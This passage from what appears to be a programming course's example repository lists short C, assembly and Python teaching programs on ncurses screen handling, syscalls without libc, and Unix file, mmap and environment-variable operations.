for(i = 0; i < sizeof(message)-1; i++)
addch(' ');
refresh();
}
static void check(int *coord, int max)
{
if(*coord < 0)
*coord = 0;
else
if(*coord > max)
*coord = max;
}
static void move_message(int *x, int *y, int mx, int my, int dx, int dy)
{
hide_message(*x, *y);
*x += dx;
check(x, mx);
*y += dy;
check(y, my);
show_message(*x, *y);
}
static void handle_resize(int *x, int *y, int *mx, int *my)
{
int row, col;
getmaxyx(stdscr, row, col);
*mx = col - sizeof(message) + 1;
*my = row - 1;
hide_message(*x, *y);
check(x, *mx);
check(y, *my);
show_message(*x, *y);
}
int main()
{
int row, col, x, y, max_x, max_y, key;
initscr();
cbreak();
keypad(stdscr, 1);
noecho();
curs_set(0);
getmaxyx(stdscr, row, col);
x = (col-(sizeof(message)-1))/2;
y = row/2;
max_x = col - sizeof(message) + 1;
max_y = row - 1;
show_message(x, y);
while((key = getch()) != key_escape) {
switch(key) {
case KEY_UP:
move_message(&x, &y, max_x, max_y, 0, -1);
break;
case KEY_DOWN:
move_message(&x, &y, max_x, max_y, 0, 1);
break;
case KEY_LEFT:
move_message(&x, &y, max_x, max_y, -1, 0);
break;
case KEY_RIGHT:
move_message(&x, &y, max_x, max_y, 1, 0);
break;
case KEY_RESIZE:
handle_resize(&x, &y, &max_x, &max_y);
break;
}
}
endwin();
return 0;
}
Book example: curses_col.c
curses_col.cC / 82 lines
#include <stdio.h>
#include <curses.h>
enum { key_escape = 27 };
enum { color_count = 8 };
static const int all_colors[color_count] = {
COLOR_BLACK, COLOR_RED, COLOR_GREEN, COLOR_YELLOW,
COLOR_BLUE, COLOR_MAGENTA, COLOR_CYAN, COLOR_WHITE
};
static int setpair(int fg, int bg)
{
int n = bg*8 + fg + 1;
init_pair(n, fg, bg);
return n;
}
static void make_line(int line, int width, int fgcolor)
{
int i, j, w, pn, att;
w = width / color_count;
for(i = 0; i < color_count; i++) {
move(line, i*w);
pn = setpair(fgcolor, all_colors[i]);
for(j = 0; j < w; j++) {
att = COLOR_PAIR(pn);
if(j % 2 == 0)
att |= A_BOLD;
if((j / 2) % 2 == 1)
att |= A_BLINK;
attrset(att);
addch('*');
refresh();
}
}
}
static void make_screen(int h, int w)
{
int i;
clear();
for(i = 0; i < h; i++)
make_line(i, w, all_colors[i % color_count]);
}
static void shift_pairs(int shift)
{
int i;
for(i = 1; i <= color_count * color_count; i++) {
int fg = (i + shift) % color_count;
int bg = ((i + shift) / color_count) % color_count;
init_pair(i, all_colors[fg], all_colors[bg]);
}
}
int main()
{
int row, col, ch, shift;
initscr();
if(!has_colors()) {
endwin();
fprintf(stderr, "I can't show colors on a BW screen\n");
return 1;
}
cbreak();
keypad(stdscr, 1);
noecho();
curs_set(0);
start_color();
getmaxyx(stdscr, row, col);
make_screen(row, col);
shift = 2;
while((ch = getch()) != key_escape) {
shift_pairs(shift);
shift++;
refresh();
}
endwin();
return 0;
}
03 (04-11)
curses.cC / 48 lines
#include <ncurses.h>
#include <unistd.h>
enum { delay_duration = 2 };
int main()
{
int row, col;
initscr();
start_color();
cbreak();
noecho();
curs_set(0);
getmaxyx(stdscr, row, col);
move(row/2,(col-30)/2);
attron(A_BOLD);
addstr("Hello, ");
refresh();
sleep(delay_duration);
attron(A_UNDERLINE);
addstr("wonderful");
refresh();
sleep(delay_duration);
attroff(A_BOLD|A_UNDERLINE);
addstr(" world! ");
refresh();
sleep(delay_duration);
addch('*' | A_BOLD | A_BLINK);
refresh();
sleep(delay_duration);
printw(" %d ", has_colors());
refresh();
sleep(delay_duration);
init_pair(1, COLOR_WHITE, COLOR_BLUE);
attrset(COLOR_PAIR(1) | A_UNDERLINE);
addstr("White on blue");
refresh();
sleep(delay_duration);
endwin();
return 0;
}
curses_col.cC / 80 lines
#include <stdio.h>
#include <curses.h>
enum { key_escape = 27 };
enum { color_count = 8 };
static const int all_colors[color_count] = {
COLOR_BLACK, COLOR_RED, COLOR_GREEN, COLOR_YELLOW,
COLOR_BLUE, COLOR_MAGENTA, COLOR_CYAN, COLOR_WHITE
};
static int setpair(int fg, int bg)
{
int n = bg*8 + fg + 1;
init_pair(n, fg, bg);
return n;
}
static void make_line(int line, int width, int fgcolor)
{
int i, j, w, pn, att;
w = width / color_count;
for (i = 0; i < color_count; i++) {
move(line, i*w);
pn = setpair(fgcolor, all_colors[i]);
for (j = 0; j < w; j++) {
att = COLOR_PAIR(pn);
if (j % 2 == 0)
att |= A_BOLD;
if ((j / 2) % 2 == 1)
att |= A_BLINK;
attrset(att);
addch('*');
refresh();
}
}
}
static void make_screen(int h, int w)
{
clear();
for (int i = 0; i < h; i++)
make_line(i, w, all_colors[i % color_count]);
}
static void shift_pairs(int shift)
{
for (int i = 1; i <= color_count * color_count; i++) {
int fg = (i + shift) % color_count;
int bg = ((i + shift) / color_count) % color_count;
init_pair(i, all_colors[fg], all_colors[bg]);
}
}
int main()
{
int row, col, ch, shift;
initscr();
if (!has_colors()) {
endwin();
fprintf(stderr, "I can't show colors on BW screen\n");
return 1;
}
cbreak();
keypad(stdscr, 1);
noecho();
curs_set(0);
start_color();
getmaxyx(stdscr, row, col);
make_screen(row, col);
shift = 2;
while ((ch = getch()) != key_escape) {
shift_pairs(shift);
shift++;
refresh();
}
endwin();
return 0;
}
curses_hello.cC / 19 lines
#include <curses.h>
#include <unistd.h>
const char message[] = "Hello, world!";
enum { delay_duration = 15 };
int main()
{
int row, col;
initscr();
getmaxyx(stdscr, row, col);
move(row/2, (col-(sizeof(message)-1))/2);
addstr(message);
curs_set(0);
refresh();
sleep(delay_duration);
endwin();
return 0;
}
Book example: movingstar.c
movingstar.cC / 99 lines
#include <curses.h>
enum { delay_duration = 100 };
enum { key_escape = 27 };
struct star {
int cur_x, cur_y, dx, dy;
};
static void show_star(const struct star *s)
{
move(s->cur_y, s->cur_x);
addch('*');
refresh();
}
static void hide_star(const struct star *s)
{
move(s->cur_y, s->cur_x);
addch(' ');
refresh();
}
static void check(int *coord, int max)
{
if(*coord < 0)
*coord += max;
else
if(*coord > max)
*coord -= max;
}
static void move_star(struct star *s, int max_x, int max_y)
{
hide_star(s);
s->cur_x += s->dx;
check(&s->cur_x, max_x);
s->cur_y += s->dy;
check(&s->cur_y, max_y);
show_star(s);
}
static void set_direction(struct star *s, int dx, int dy)
{
s->dx = dx;
s->dy = dy;
}
static void handle_resize(struct star *s, int *col, int *row)
{
getmaxyx(stdscr, *row, *col);
if(s->cur_x > *col)
s->cur_x = *col;
if(s->cur_y > *row)
s->cur_y = *row;
}
int main()
{
int row, col, key;
struct star s;
initscr();
cbreak();
timeout(delay_duration);
keypad(stdscr, 1);
noecho();
curs_set(0);
getmaxyx(stdscr, row, col);
s.cur_x = col/2;
s.cur_y = row/2;
set_direction(&s, 0, 0);
while((key = getch()) != key_escape) {
switch(key) {
case ' ':
set_direction(&s, 0, 0);
break;
case KEY_UP:
set_direction(&s, 0, -1);
break;
case KEY_DOWN:
set_direction(&s, 0, 1);
break;
case KEY_LEFT:
set_direction(&s, -1, 0);
break;
case KEY_RIGHT:
set_direction(&s, 1, 0);
break;
case ERR:
move_star(&s, col-1, row-1);
break;
case KEY_RESIZE:
handle_resize(&s, &col, &row);
break;
}
}
endwin();
return 0;
}
04 (04-11)
movehello.cC / 90 lines
#include <curses.h>
#include <stdio.h>
static const char message[] = "Hello, world!";
enum { key_escape = 27 };
static void show_message(int x, int y)
{
move(y, x);
addstr(message);
refresh();
}
static void hide_message(int x, int y)
{
move(y, x);
for (int i = 0; i < sizeof(message) - 1; i++)
addch(' '); /* write a character */
refresh();
}
static void check(int *coord, int max)
{
if(*coord < 0)
*coord = 0;
else
if(*coord > max)
*coord = max;
}
static void
move_message(int *x, int *y, int mx, int my, int dx, int dy)
{
hide_message(*x, *y);
*x += dx;
check(x, mx);
*y += dy;
check(y, my);
show_message(*x, *y);
}
static void handle_resize(int *x, int *y, int *mx, int *my)
{
int row, col;
getmaxyx(stdscr, row, col);
*mx = col - sizeof(message) + 1; /* additional zero at end of message */
*my = row - 1; /* indexing starts with 0 */
hide_message(*x, *y);
check(x, *mx);
check(y, *my);
show_message(*x, *y);
}
int main()
{
int row, col, x, y, max_x, max_y, key;
initscr();
cbreak(); /* sets mode in which C-c, C-d stop the program */
keypad(stdscr, 1); /* process special symbols such as arrows */
noecho(); /* don't automatically output key presses to screen */
curs_set(0);
getmaxyx(stdscr, row, col);
x = (col - (sizeof(message) - 1))/2;
y = row/2;
max_x = col - sizeof(message) + 1;
max_y = row - 1;
show_message(x, y);
while((key = getch()) != key_escape) { /* get a keypress */
switch(key) {
case 'k':
move_message(&x, &y, max_x, max_y, 0, -1);
break;
case 'j':
move_message(&x, &y, max_x, max_y, 0, 1);
break;
case 'h':
move_message(&x, &y, max_x, max_y, -1, 0);
break;
case 'l':
move_message(&x, &y, max_x, max_y, 1, 0);
break;
case KEY_RESIZE:
handle_resize(&x, &y, &max_x, &max_y);
break;
}
}
endwin();
return 0;
}
movingstar.cC / 98 lines
#include <curses.h>
enum { delay_duration = 100 };
enum { key_escape = 27 };
struct star {
int cur_x, cur_y, dx, dy;
};
static void show_star(const struct star *s)
{
move(s->cur_y, s->cur_x);
addch('*');
refresh();
}
static void hide_star(const struct star *s)
{
move(s->cur_y, s->cur_x);
addch(' ');
refresh();
}
static void check(int *coord, int max)
{
if(*coord < 0)
*coord += max;
else if(*coord > max)
*coord -= max;
}
static void move_star(struct star *s, int max_x, int max_y)
{
hide_star(s);
s->cur_x += s->dx;
check(&s->cur_x, max_x);
s->cur_y += s->dy;
check(&s->cur_y, max_y);
show_star(s);
}
static void set_direction(struct star *s, int dx, int dy)
{
s->dx = dx;
s->dy = dy;
}
static void handle_resize(struct star *s, int *col, int *row)
{
getmaxyx(stdscr, *row, *col);
if (s->cur_x > *col)
s->cur_x = *col;
if (s->cur_y > *row)
s->cur_y = *row;
}
int main()
{
int row, col, key;
struct star s;
initscr();
cbreak();
timeout(delay_duration);
keypad(stdscr, 1);
noecho();
curs_set(0);
getmaxyx(stdscr, row, col);
s.cur_x = col/2;
s.cur_y = row/2;
set_direction(&s, 0, 0);
while((key = getch()) != key_escape) {
switch(key) {
case ' ':
set_direction(&s, 0, 0);
break;
case 'k':
set_direction(&s, 0, -1);
break;
case 'j':
set_direction(&s, 0, 1);
break;
case 'h':
set_direction(&s, -1, 0);
break;
case 'l':
set_direction(&s, 1, 0);
break;
case ERR:
move_star(&s, col-1, row-1);
break;
case KEY_RESIZE:
handle_resize(&s, &col, &row);
break;
}
}
endwin();
return 0;
}
Book example: no_libc/
no_libc/calls.asmAssembly / 34 lines
global sys_read
global sys_write
global sys_errno
section .text
generic_syscall_3:
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+8]
mov ecx, [ebp+12]
mov edx, [ebp+16]
int 80h
mov edx, eax
and edx, 0fffff000h
cmp edx, 0fffff000h
jne .okay
mov [sys_errno], eax
xor eax, eax
not eax
.okay:
pop ebx
mov esp, ebp
pop ebp
ret
sys_read: mov eax, 3
jmp generic_syscall_3
sys_write: mov eax, 4
jmp generic_syscall_3
section .bss
sys_errno resd 1
no_libc/greet.cC / 11 lines
#include <stdio.h>
int main(int argc, char **argv)
{
if(argc < 2) {
printf("I don't know how to greet you\n");
return 1;
}
printf("Hello, dear %s!\n", argv[1]);
return 0;
}
no_libc/greet2.cC / 24 lines
#include <unistd.h>
static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";
static int string_length(const char *s)
{
int i = 0;
while(s[i])
i++;
return i;
}
int main(int argc, char **argv)
{
if(argc < 2) {
write(1, dunno, sizeof(dunno)-1);
return 1;
}
write(1, hello, sizeof(hello)-1);
write(1, argv[1], string_length(argv[1]));
write(1, "!\n", 2);
return 0;
}
no_libc/greet3.cC / 24 lines
int sys_write(int fd, const void *buf, int size);
static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";
static int string_length(const char *s)
{
int i = 0;
while(s[i])
i++;
return i;
}
int main(int argc, char **argv)
{
if(argc < 2) {
sys_write(1, dunno, sizeof(dunno)-1);
return 1;
}
sys_write(1, hello, sizeof(hello)-1);
sys_write(1, argv[1], string_length(argv[1]));
sys_write(1, "!\n", 2);
return 0;
}
no_libc/hello.cC / 7 lines
int sys_write(int fd, const void *buf, int size);
int main(int argc, char **argv)
{
sys_write(1, "Hello, world\n", 13);
return 0;
}
no_libc/myecho.cC / 19 lines
int sys_write(int fd, const void *buf, int size);
static int string_length(const char *s)
{
int i;
for(i = 0; s[i]; i++)
;
return i;
}
int main(int argc, char **argv)
{
int i;
for(i = 0; i < argc; i++) {
sys_write(1, argv[i], string_length(argv[i]));
sys_write(1, "\n", 1);
}
return 0;
}
no_libc/start.asmAssembly / 14 lines
global _start
extern main
section .text
_start: mov ecx, [esp] ; argc in ecx
mov eax, esp
add eax, 4 ; argv in eax
push eax
push ecx
call main
add esp, 8 ; clean the stack
mov ebx, eax ; now call _exit
mov eax, 1
int 80h
no_libc/tr_hello.cC / 7 lines
#include <unistd.h>
int main()
{
write(1, "Hello, world\n", 13);
return 0;
}
12 (04)
cmdl.asmAssembly / 65 lines
global _start
section .text
return db 10,0
strlen: ; < (address of string) > (length of string)
push ebp
mov ebp, esp
xor ecx, ecx
mov eax, [ebp+8] ; address of string
.lp: cmp [eax+ecx], byte 0
je .end
inc ecx
jmp short .lp
.end:
mov eax, ecx ; output string length
mov esp, ebp
pop ebp
ret
print_str: ; < (address of string) > (nothing)
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+8] ; address of string
push ebx
call strlen
add esp, 4
mov edx, eax ; string length in edx for write
mov ecx, ebx ; string address in ecx for write
mov ebx, 1 ; standard output
mov eax, 4 ; write
int 80h
pop ebx
mov esp, ebp
pop ebp
ret
_start:
mov ebx, [esp] ; number of parameters (argc)
mov esi, esp ; address of addresses of
add esi, 4 ; command line parameter (argv)
lp:
push dword [esi] ; current parameter address (argv[i])
call print_str
add esp, 4
push dword return
call print_str
add esp, 4
add esi, 4 ; next parameter
dec ebx
cmp ebx, 0
jne lp
mov ebx, 0 ; success
mov eax, 1 ; _exit
int 80h
cmdl.cC / 29 lines
/*
* - argc: argument count (including program name).
* - argv: array of string pointers (char **).
* - argv[0] is the program name.
* - argv[argc] is always NULL.
*/
#include <stdio.h>
int main(int argc, char **argv)
{
int i;
char **p;
/* Print program name */
printf("My name is %s\n", argv[0]);
/* Method 1: Iterate using argc */
for (i = 1; i < argc; i++)
printf("[%s]\n", argv[i]);
/* Method 2: Iterate using NULL terminator */
p = argv + 1;
while (*p) {
printf("[%s]\n", *p);
p++;
}
return 0;
}
greet-02.cC / 24 lines
#include <unistd.h>
static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";
static int string_length(const char *s)
{
int i;
for (i = 0; s[i]; i++)
{}
return i;
}
int main(int argc, char **argv)
{
if (argc < 2) {
write(1, dunno, sizeof(dunno) - 1);
return 1;
}
write(1, hello, sizeof(hello) - 1);
write(1, argv[1], string_length(argv[1]));
write(1, "!\n", 2);
return 0;
}
greet-03.cC / 24 lines
#include "calls.h"
static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";
static int string_length(const char *s)
{
int i;
for (i = 0; s[i]; i++)
{}
return i;
}
int main(int argc, char **argv)
{
if (argc < 2) {
sys_write(1, dunno, sizeof(dunno) - 1);
return 1;
}
sys_write(1, hello, sizeof(hello) - 1);
sys_write(1, argv[1], string_length(argv[1]));
sys_write(1, "!\n", 2);
return 0;
}
greet-04.cC / 24 lines
#include "calls00.h"
static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";
static int string_length(const char *s)
{
int i;
for (i = 0; s[i]; i++)
{}
return i;
}
int main(int argc, char **argv)
{
if (argc < 2) {
sys_write(1, dunno, sizeof(dunno) - 1);
return 1;
}
sys_write(1, hello, sizeof(hello) - 1);
sys_write(1, argv[1], string_length(argv[1]));
sys_write(1, "!\n", 2);
return 0;
}
greet.asmAssembly / 43 lines
;; greet.asm ;;
global _start
extern putstr
extern getstr
extern quit
section .data
what db "What is your name?",10,0
hello db "Hello ",0
end db ":)",10,0
section .bss
inp resb 256
inplen equ $-inp
section .text
_start:
push what
call putstr
add esp, 4
push inplen
push inp
call getstr
add esp, 8
push hello
call putstr
add esp, 4
push inp
call putstr
add esp, 4
push end
call putstr
add esp, 4
jmp .quit
.quit:
push dword 0
call quit
greet.cC / 11 lines
#include <stdio.h>
int main(int argc, char **argv)
{
if (argc < 2) {
printf("I don't know how to greet you\n");
return 1;
}
printf("Hello, dear %s!\n", argv[1]);
return 0;
}
x86-64 C program without libc
without_syslib64.cC / 21 lines
#include "scalls.h"
static const char new_line[] = "\n";
int str_len(const char *s)
{
int i;
for (i = 0; s[i]; i++)
{}
return i;
}
int main(int argc, char **argv)
{
int i;
for (i = 0; i < argc; i++) {
sys_write(1, argv[i], str_len(argv[i]));
sys_write(1, new_line, 1);
}
return 0;
}
start64.asmAssembly / 17 lines
global _start
extern main
section .text
_start:
mov rdi, [rsp] ; argc
lea rsi, [rsp + 8] ; argv
and rsp, -16 ; align stack before call
call main
mov edi, eax ; call _exit
mov eax, 60
syscall
calls.asmAssembly / 81 lines
%macro scall 1-4
; system call
; < (interrupt number, param1, param2, param3)
%if %0 > 1
push ebx ; it can only spoil eax, ecx, edx
%endif
%rep %0
%rotate -1
push dword %1 ; push in reverse order
%endrep
pop eax
%if %0 > 1
pop ebx
%if %0 > 2
pop ecx
%if %0 > 3
pop edx
%endif
%endif
%endif
int 80h
cmp eax, 0xfffff000
jb %%end
mov [sys_errno], eax
mov eax, -1
%%end:
%if %0 > 1
pop ebx
%endif
%endmacro
%macro pbegin 0
push ebp
mov ebp, esp
%endmacro
%macro pend 0
mov esp, ebp
pop ebp
ret
%endmacro
global sys_errno
global sys_exit
global sys_read
global sys_write
global sys_open
global sys_close
section .bss
sys_errno resd 1
section .text
sys_exit:
pbegin
scall 1, [ebp+8]
pend
sys_read:
pbegin
scall 3, [ebp+8], [ebp+12], [ebp+16]
pend
sys_write:
pbegin
scall 4, [ebp+8], [ebp+12], [ebp+16]
pend
sys_open:
pbegin
scall 5, [ebp+8], [ebp+12], [ebp+16]
pend
sys_close:
pbegin
scall 6, [esp+8]
pend
calls.hC / 11 lines
#ifndef CALLS_H_SENTRY
#define CALLS_H_SENTRY
int sys_exit(int code);
int sys_read(int fd, void *buf, int size);
int sys_write(int fd, const void *buf, int size);
int sys_open(const void *file_name, int flags, int mode);
int sys_close(int fd);
extern int sys_errno;
#endif
5. Operating Systems / 107 filesRead chapter
06 (05-01)
videocard.cC / 35 lines
#include <fcntl.h>
#include <linux/fb.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
int main(void)
{
int fd = open("/dev/fb0", O_RDWR);
struct fb_var_screeninfo vinfo;
struct fb_fix_screeninfo finfo;
ioctl(fd, FBIOGET_VSCREENINFO, &vinfo);
ioctl(fd, FBIOGET_FSCREENINFO, &finfo);
int size = finfo.smem_len;
unsigned int *fb = mmap(NULL, size,
PROT_READ | PROT_WRITE,
MAP_SHARED, fd, 0);
int pixels = size / 4;
for (int i = 0; i < pixels; i++)
fb[i] = 0x00ff0000;
sleep(3);
munmap(fb, size);
close(fd);
return 0;
}
07 (05-01)
05-01-07.cC / 33 lines
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd;
fd = open("no_such_file.txt", O_RDONLY);
if (fd == -1) {
printf("open() failed\n");
printf("errno value: %d\n", errno);
if (errno == ENOENT) {
printf("Reason: file does not exist\n");
} else if (errno == EACCES) {
printf("Reason: permission denied\n");
}
printf("strerror(errno): %s\n", strerror(errno));
perror("perror says");
return 1;
}
printf("File opened successfully\n");
close(fd);
return 0;
}
02 (05-02)
fake_interpreter.pyPython / 11 lines
#!/usr/bin/env python3
import sys
from pathlib import Path
script = sys.argv[1]
print("[interpreter] I was asked to run:", script)
print("[interpreter] Opening that path now...")
print()
print(Path(script).read_text())
fake_kernel.pyPython / 20 lines
#!/usr/bin/env python3
import sys
import time
import subprocess
script = sys.argv[1]
with open(script, "r") as f:
first_line = f.readline().strip()
print("[kernel] I opened:", script)
print("[kernel] I saw shebang:", first_line)
interpreter = first_line[2:].split()[0]
print("[kernel] Now I will wait before starting the interpreter...")
time.sleep(5)
print("[kernel] Starting interpreter...")
subprocess.run([interpreter, script])
03 (05-02)
checkfd.cC / 28 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "usage: %s <fd>\n", argv[0]);
return 1;
}
int fd = atoi(argv[1]);
errno = 0;
int flags = fcntl(fd, F_GETFD);
if (flags == -1 && errno == EBADF) {
printf("fd %d is CLOSED after exec\n", fd);
} else if (flags == -1) {
perror("fcntl");
return 1;
} else {
printf("fd %d is STILL OPEN after exec\n", fd);
}
return 0;
}
umask.cC / 12 lines
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char **argv)
{
int fd;
umask(0022);
fd = open(argv[1], O_WRONLY|O_CREAT|O_TRUNC, 0666);
close(fd);
return 0;
}
04 (05-02)
link.cC / 15 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv)
{
int res;
res = link(argv[1], argv[2]);
if (res == -1) {
perror("link");
exit(1);
}
return 0;
}
Book example: poor_ls.c
poor_ls.cC / 22 lines
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
int main(int argc, char **argv)
{
DIR *dir;
struct dirent *dent;
const char *name = ".";
if(argc > 1)
name = argv[1];
dir = opendir(name);
if(!dir) {
perror(name);
return 1;
}
while((dent = readdir(dir)) != NULL) {
printf("%s\n", dent->d_name);
}
closedir(dir);
return 0;
}
06 (05-02)
poor_ls-00.cC / 22 lines
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
int main(int argc, char **argv)
{
DIR *dir;
struct dirent *dent;
const char *name = ".";
if (argc > 1)
name = argv[1];
dir = opendir(name);
if (!dir) {
perror(name);
return 1;
}
while ((dent = readdir(dir)) != NULL)
printf("%s\n", dent->d_name);
closedir(dir);
return 0;
}
poor_ls-01.cC / 22 lines
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
int main(int argc, char **argv)
{
DIR *dir;
struct dirent *dent;
const char *name = ".";
if (argc > 1)
name = argv[1];
dir = opendir(name);
if (!dir) {
perror(name);
return 1;
}
while ((dent = readdir(dir)) != NULL)
printf("%ld %s\n", dent->d_ino, dent->d_name);
closedir(dir);
return 0;
}
07 (05-02)
MakefileMake / 11 lines
PROGRAMS = 05-02-07-mmap-04
CFLAGS = -g -Wall -O0
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
mmap-00.cC / 69 lines
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
int main(int argc, char *argv[])
{
int fd;
char *addr;
off_t offset, pa_offset;
size_t length;
ssize_t s;
struct stat sb;
if (argc < 3 || argc > 4) {
fprintf(stderr, "%s file offset [length]\n", argv[0]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if (fd == -1)
handle_error("open");
if (fstat(fd, &sb) == -1) /* To obtain file size */
handle_error("fstat");
offset = atoi(argv[2]);
pa_offset = offset & ~(sysconf(_SC_PAGE_SIZE) - 1);
/* offset for mmap() must be page aligned */
if (offset >= sb.st_size) {
fprintf(stderr, "offset is past end of file\n");
exit(EXIT_FAILURE);
}
if (argc == 4) {
length = atoi(argv[3]);
if (offset + length > sb.st_size)
length = sb.st_size - offset;
/* Can't display bytes past end of file */
} else { /* No length arg ==> display to end of file */
length = sb.st_size - offset;
}
addr = mmap(NULL, length + offset - pa_offset, PROT_READ,
MAP_PRIVATE, fd, pa_offset);
if (addr == MAP_FAILED)
handle_error("mmap");
s = write(STDOUT_FILENO, addr + offset - pa_offset, length);
if (s != length) {
if (s == -1)
handle_error("write");
fprintf(stderr, "partial write");
exit(EXIT_FAILURE);
}
munmap(addr, length + offset - pa_offset);
close(fd);
exit(EXIT_SUCCESS);
}
mmap-01.cC / 10 lines
#include <stdio.h>
#include <unistd.h>
int main()
{
int size;
size = getpagesize();
printf("Page size: %d\n", size);
return 0;
}
mmap-02.cC / 81 lines
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
void die(const char *msg, int num)
{
perror(msg);
exit(num);
}
static void parse_arguments(int argc, char **argv, int fd, int *length,
int *offset, int *pa_offset)
{
int res;
struct stat sb;
res = fstat(fd, &sb);
if (res == -1) /* To obtain file size */
die("fstat", 2);
*offset = atoi(argv[2]);
*pa_offset = *offset & ~(sysconf(_SC_PAGE_SIZE) - 1); /* page aligned */
if (*offset >= sb.st_size) {
fprintf(stderr, "offset is past end of file\n");
exit(1);
}
if (argc == 4) {
*length = atoi(argv[3]);
if (*offset + *length > sb.st_size)
*length = sb.st_size - *offset;
} else
*length = sb.st_size - *offset;
}
void write_file(int fd, int length, int offset, int pa_offset)
{
int delta, count;
char *addr;
delta = offset - pa_offset;
addr = mmap(NULL, length + delta, PROT_READ, MAP_PRIVATE, fd, pa_offset);
if (addr == MAP_FAILED)
die("mmap", 2);
count = write(1, addr + delta, length);
if (count != length) {
if (count == -1)
die("write", 2);
fprintf(stderr, "partial write");
exit(1);
}
munmap(addr, length + delta);
}
int main(int argc, char **argv)
{
int fd, length, offset, pa_offset;
if (argc < 3 || argc > 4) {
fprintf(stderr, "%s file offset [length]\n", argv[0]);
exit(1);
}
fd = open(argv[1], O_RDONLY);
if (fd == -1)
die("open", 2);
parse_arguments(argc, argv, fd, &length, &offset, &pa_offset);
write_file(fd, length, offset, pa_offset);
close(fd);
return 0;
}
mmap-03.cC / 41 lines
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
static void die(const char *msg, int code)
{
perror(msg);
exit(code);
}
int main(int argc, char **argv)
{
int fd, size, res;
char *p;
if (argc != 2) {
fprintf(stderr, "Usage: %s <file name>", argv[0]);
exit(1);
}
fd = open(argv[1], O_RDWR);
if (fd == -1)
die("open", 2);
size = lseek(fd, 0, SEEK_END);
p = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (p == MAP_FAILED)
die("mmap", 2);
memcpy(p, "john ", 6);
munmap(p, size);
res = close(fd);
if (res == -1)
die("close", 2);
return 0;
}
mmap-04.cC / 12 lines
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
int main(int argc, char **argv)
{
char *p = mmap(NULL, atoi(argv[1]), PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("%p\n", p);
return 0;
}
02 (05-03)
environ-00.cC / 133 lines
#define _POSIX_C_SOURCE 200112L
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
extern char **environ;
static void die(const char *s)
{
perror(s);
exit(1);
}
static char *xstrdup(const char *s)
{
char *p;
p = malloc(strlen(s) + 1);
if (p == NULL)
die("malloc");
strcpy(p, s);
return (p);
}
static void dump_proc(const char *title)
{
int fd;
char buf[4096];
ssize_t n;
ssize_t i;
ssize_t start;
fd = open("/proc/self/environ", O_RDONLY);
if (fd < 0)
die("open");
n = read(fd, buf, sizeof(buf));
close(fd);
if (n < 0)
die("read");
printf("\n== %s ==\n", title);
start = 0;
i = 0;
while (i < n) {
if (buf[i] == '\0' && i > start)
printf("%.*s\n", (int)(i - start), buf + start);
if (buf[i] == '\0')
start = i + 1;
i++;
}
}
static size_t env_span(char **env, char **out)
{
char *start;
char *end;
char *e;
int i;
if (env == NULL || env[0] == NULL)
return (*out = NULL, 0);
start = env[0];
end = env[0] + strlen(env[0]) + 1;
i = 1;
while (env[i] != NULL) {
e = env[i] + strlen(env[i]) + 1;
if (env[i] < start)
start = env[i];
if (e > end)
end = e;
i++;
}
*out = start;
return ((size_t)(end - start));
}
static void move_env(void)
{
char **copy;
int i;
int n;
n = 0;
while (environ[n] != NULL)
n++;
copy = malloc((n + 1) * sizeof(*copy));
if (copy == NULL)
die("malloc");
i = 0;
while (i < n) {
copy[i] = xstrdup(environ[i]);
i++;
}
copy[n] = NULL;
environ = copy;
}
static void put(char *block, size_t len, size_t *pos, const char *s)
{
size_t n;
n = strlen(s) + 1;
if (*pos + n > len)
return ;
memcpy(block + *pos, s, n);
*pos += n;
}
int main(void)
{
char *old;
size_t len;
size_t pos;
old = NULL;
len = env_span(environ, &old);
printf("pid = %ld\n", (long)getpid());
dump_proc("1) start");
setenv("ADDED_BY_SETENV", "yes", 1);
unsetenv("SECOND");
printf("\ngetenv ADDED_BY_SETENV = %s\n", getenv("ADDED_BY_SETENV"));
printf("getenv SECOND = %s\n",
getenv("SECOND") ? getenv("SECOND") : "null");
dump_proc("2) after setenv/unsetenv");
move_env();
memset(old, 0, len);
pos = 0;
put(old, len, &pos, "PROC_ENV=changed");
put(old, len, &pos, "X=1");
dump_proc("3) after direct overwrite");
return (0);
}
environ-02.cC / 11 lines
#include <stdio.h>
extern char **environ;
int main()
{
int i;
for (i = 0; environ[i]; i++)
printf("%s\n", environ[i]);
return 0;
}
environ-03.cC / 21 lines
#include <stdio.h>
#include <string.h>
#include <unistd.h>
